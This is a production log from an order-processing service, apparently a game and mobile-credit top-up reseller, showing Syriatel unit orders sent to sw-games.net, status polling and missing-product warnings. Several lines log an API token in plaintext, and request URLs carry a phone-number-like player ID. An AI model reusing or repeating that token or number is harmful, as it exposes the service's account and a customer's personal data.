[2026-03-24 11:06:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496} 
[2026-03-24 11:06:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 770  
[2026-03-24 11:06:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 770  
[2026-03-24 11:07:57] production.INFO: Constructing job for order: 178567  
[2026-03-24 11:07:59] production.INFO: Handling job for order: 178567  
[2026-03-24 11:07:59] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:07:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:07:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/47/params?qty=1&uuid=b42c8ac7-6d74-49e6-b5cb-d33063c70faa&Player_ID=0937744234  
[2026-03-24 11:07:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/47/params?qty=1&uuid=b42c8ac7-6d74-49e6-b5cb-d33063c70faa&Player_ID=0937744234","has_body":false} 
[2026-03-24 11:08:00] production.INFO: Operation sent successfully {"operation_id":163498,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wX7kPw-1774339680","amount":138.009350000000011959855328314006328582763671875,"status":"processing","product":"130.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:08:00"}},"processed_data":{"order_number":"ORD-wX7kPw-1774339680","amount":138.009350000000011959855328314006328582763671875,"status":"processing","product":"130.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03"} 
[2026-03-24 11:08:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","total_operations":3,"sites_count":2} 
[2026-03-24 11:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-wX7kPw-1774339680"]} 
[2026-03-24 11:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 11:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498} 
[2026-03-24 11:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 11:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"processed":0,"errors":0} 
[2026-03-24 11:08:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"vIycFpCvjgW2T2EDrZQH508HB0lv3JSl","execution_time":"2026-03-24 11:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498} 
[2026-03-24 11:08:06] production.INFO: Constructing job for order: 178568  
[2026-03-24 11:08:09] production.INFO: Handling job for order: 178568  
[2026-03-24 11:08:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:08:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:08:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=7e291c44-06d1-4364-8b75-67578045364b&Player_ID=0937744234  
[2026-03-24 11:08:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=7e291c44-06d1-4364-8b75-67578045364b&Player_ID=0937744234","has_body":false} 
[2026-03-24 11:08:10] production.INFO: Operation sent successfully {"operation_id":163499,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-IC1M-1774339690","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:08:10"}},"processed_data":{"order_number":"ORD-IC1M-1774339690","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01"} 
[2026-03-24 11:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","total_operations":4,"sites_count":2} 
[2026-03-24 11:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-wX7kPw-1774339680","ORD-IC1M-1774339690"]} 
[2026-03-24 11:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 11:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 11:10:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 11:10:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"count":2} 
[2026-03-24 11:10:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"count":2} 
[2026-03-24 11:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"user_id":1136,"notification_type":"order_approved","reference_id":178568} 
[2026-03-24 11:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"user_id":1136,"notification_type":"order_approved","reference_id":178567} 
[2026-03-24 11:10:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 11:10:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:10:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"processed":2,"errors":0} 
[2026-03-24 11:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498,"processed":2,"errors":0} 
[2026-03-24 11:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"kqWVN9GHsa1Pxjv5jcSBXvOH9kGNkpnj","execution_time":"2026-03-24 11:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wX7kPw-1774339680","operation_id":163498} 
[2026-03-24 11:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:10:03] production.INFO: async() رجع: true  
[2026-03-24 11:10:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1136  
[2026-03-24 11:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1136  
[2026-03-24 11:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02"} 
[2026-03-24 11:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"BMdPgL1YmXXtCVyC6jFHR7Ru6fXpgKK0","execution_time":"2026-03-24 11:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02"} 
[2026-03-24 11:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"FRL7GE1hRqPqIs9SQeuqpr0mSmjiSCAd","execution_time":"2026-03-24 11:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:15:04] production.INFO: async() رجع: true  
[2026-03-24 11:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:15:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:15:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:15:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:16:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01"} 
[2026-03-24 11:16:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","total_operations":2,"sites_count":1} 
[2026-03-24 11:16:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:16:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:16:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:16:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:16:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:16:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:16:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:16:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0hZqb67aa9eMEQ8fMBCNuvqwGtCE0gYX","execution_time":"2026-03-24 11:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:18:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01"} 
[2026-03-24 11:18:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","total_operations":2,"sites_count":1} 
[2026-03-24 11:18:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:18:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:18:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:18:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:18:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
